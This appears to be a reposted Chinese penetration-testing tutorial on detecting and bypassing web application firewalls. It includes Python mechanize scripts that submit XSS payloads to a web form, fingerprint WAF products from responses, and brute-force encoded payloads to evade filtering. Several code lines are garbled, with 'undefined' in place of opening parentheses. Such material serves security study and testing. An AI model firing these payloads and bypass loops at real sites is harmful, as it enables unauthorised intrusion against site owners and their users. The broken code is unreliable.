web 应用防火墙通常会被部署在 Web 客户端与 Web 服务器之间,以过滤来自服务器的恶意流量。而作为一名渗透测试人员,想要更好的突破目标系统,就必须要了解目标系统的 WAF 规则。如今,许多 WAF 都是基于签名的。下图简单描绘了一个 Web 应用防火墙的工作流程:
在基于签名的防火墙中你可以自定义签名,如果你知道某种网络攻击遵循某种类型的模式或签名。那么你就可以定义匹配模式过滤掉它们,例如:
Payload : -
上面定义的是一种常见的 XSS payload,我们知道所有这类攻击都可能包含 - >"<script>" 这些字符 ,因此我们可以在 WAF 中设定一个包含这些字符的的过滤规则,我们可以进行如下定义:
第一个签名将过滤任何包含 <script> 字符串的请求,第二个将过滤任何包含 alert(*) 字符串的请求。
当我们对一个系统进行渗透时,如果你忽略了防火墙的存在,那么就会为我们的测试带来诸多的麻烦。因此在开始真正的渗透之前,我们最好能先判断下目标系统是否存在 WAF。那么我们该如何进行判断呢?我们还拿以上定义的 payload 来举例。在通常情况下,如果我们在一个部署有 WAF 的系统上执行以上 payload,那么在 http 的响应中我们将能捕获到 WAF 留下的轨迹:
- HTTP/1.1 406 Not Acceptable
- Date: Mon, 10 Jan 2016
- Server: nginx
- Content-Type: text/html; charset=iso-8859-1
- Not Acceptable!Not Acceptable! An appropriate representation of the
- requested resource could not be found on this server. This error was generated by Mod_Security
可以看到,我们的 payload 被名为 Mod_Security 的防火墙给过滤了。在本文中我将教大家编写一个简单的 python 脚本,以帮助我们完成检测任务并绕过防火墙。
首先,我们必须定义我们的 HTML 文档来注入 payload 和相应的 PHP 脚本以处理数据。
- <html>
- <body>
- <form name="waf" action="waf.php" method="post">
- Data:
- <input type="text" name="data">
- <br>
- <input type="submit" value="Submit">
- </form>
- </body>
- </html>
- <html>
- <body>
- Data from the form :
- <?php echo $_POST[ "data"]; ?>
- <br>
- </body>
- </html>
为了检测防火墙的存在与否,第二步我们需要创建一个会被防火墙阻止的恶意跨站脚本请求。这里我将用到一个名为 "Mechanize" 的 python 模块,了解更多关于此模块的信息,请阅读下文:
Automate Cross Site Scripting (XSS) attack using Beautiful Soup and Mechanize
如果你已经了解了 Mechanize 模块,可以跳过此文章的阅读。现在,我们就可以对任意页面提供的 Web 表单发起请求了。实现代码如下:
- import mechanize as mec
- maliciousRequest = mec.Browser()
- formName = 'waf'
- maliciousRequest.open("http://check.cyberpersons.com/crossSiteCheck.html")
- maliciousRequest.select_form(formName)
让我来简单解释下这几行代码的用意:
在以上的 HTML 文档中,我们只定义了一个表单输入字段,我们将利用该字段注入我们的恶意 payload,并通过检查 http 响应信息来判断目标是否部署了 Web 应用防火墙。
在 HTML 文档中我们定义了一个名为'data'的输入字段:
- input type="text" name="data"><br>
因此,我们可以使用以下代码来提交我们的 payload:
- crossSiteScriptingPayLoad = "<svg><script>alert`1`<p>"
- maliciousRequest.form['data'] = crossSiteScriptingPayLoad
下面我们提交此表单并记录响应信息:
- maliciousRequest.submit()
- response = maliciousRequest.response().read()
- print response
由于我目前并未安装部署防火墙,所以我得到了如下响应:
可以看到 payload 被打印在了 HTML 文档中,这也说明应用程序代码中没有任何的过滤机制,并且由于没有防火墙的保护,我们的恶意请求也未被阻止。
变量'response'中包含了从服务器获取的响应信息,也是我们判断目标环境是否部署防火墙的重要依据。下面,我们将针对以下几款防火墙进行检测。
看看我们如何用 python 代码实现检测:
- if response.find('WebKnight') >= 0:
- print "Firewall detected: WebKnight"
- elif response.find('Mod_Security') >= 0:
- print "Firewall detected: Mod Security"
- elif response.find('Mod_Security') >= 0:
- print "Firewall detected: Mod Security"
- elif response.find('dotDefender') >= 0:
- print "Firewall detected: Dot Defender"
- else:
- print "No Firewall Present"
这段代码首先我们对 WebKnight 的防火墙做了判断。如果目标环境安装了 WebKnight,那么在我们的响应中将包含字符串 "WebKnight",并且 find 函数的返回值也将会大于 0。同样,对于另外两个防火墙亦是如此。
当然我们还可以继续扩展我们的 python 脚本,用以检测更多的防火墙类型,但前提是必须了解这些防火墙的基本响应特征。
在文章开头我就说过,如今的大多数防护墙都是基于签名来过滤我们的请求流量的。但是,这并不意味着我们就拿它没办法了。随着 Javascript 的日趋复杂,我们可以用它来构建数千种的 payload 并逐一进行尝试,以绕过防火墙的检测。需要说明的是如果防护墙规则被明确定义,那么该方法可能会失效。下面让我们使用 python 脚本,来帮助我们完成暴力测试攻击:
- listofPayloads = ['<dialog open="" onclose="alertundefined1)"><form method="dialog"><button>Close me!</button></form></dialog>', '<svg><script>prompt( 1)<i>', '<a href="javascript:alertundefined1)">CLICK ME<a>']
- for payLoads in listofPayloads:
- maliciousRequest = mec.Browserundefined)
- formName = 'waf'
- maliciousRequest.openundefined"http://check.cyberpersons.com/crossSiteCheck.html")
- maliciousRequest.select_formundefinedformName)
- maliciousRequest.form['data'] = payLoads
- maliciousRequest.submitundefined)
- response = maliciousRequest.responseundefined).readundefined)
- if response.findundefined'WebKnight') >= 0:
- print "Firewall detected: WebKnight"
- elif response.findundefined'Mod_Security') >= 0:
- print "Firewall detected: Mod Security"
- elif response.findundefined'Mod_Security') >= 0:
- print "Firewall detected: Mod Security"
- elif response.findundefined'dotDefender') >= 0:
- print "Firewall detected: Dot Defender"
- else:
- print "No Firewall Present"
由于我并未安装部署防火墙,所以我得到了如下响应:
如果防火墙正在过滤 html 标签,如 <,>。我们则可以尝试将这些实体进行 Unicode 或 Hex 转码再进行发送,如果被转化为原始形式,那么这也将成为我们的一个突破口。我们可以使用以下代码进行判断:
- listofPayloads = ['<b>','\u003cb\u003e','\x3cb\x3e']
- for payLoads in listofPayloads:
- maliciousRequest = mec.Browser()
- formName = 'waf'
- maliciousRequest.open("http://check.cyberpersons.com/crossSiteCheck.html")
- maliciousRequest.select_form(formName)
- maliciousRequest.form['data'] = payLoads
- maliciousRequest.submit()
- response = maliciousRequest.response().read()
- print "---------------------------------------------------"
- print response
- print "---------------------------------------------------"
我的输出结果如下:
从结果可以看到,并没有编码的条目被转换为其原始格式。
通过本文的介绍,相信大家已经对防火墙有了一个基本的了解和认识。作为一名安全测试人员,了解和掌握防火墙的工作机制是非常必要的。而对于企业而言,更不能忽视了安全的重要性。完整的代码可以从 这里下载 到。
来源: http://www.tuicool.com/articles/BvAfIfA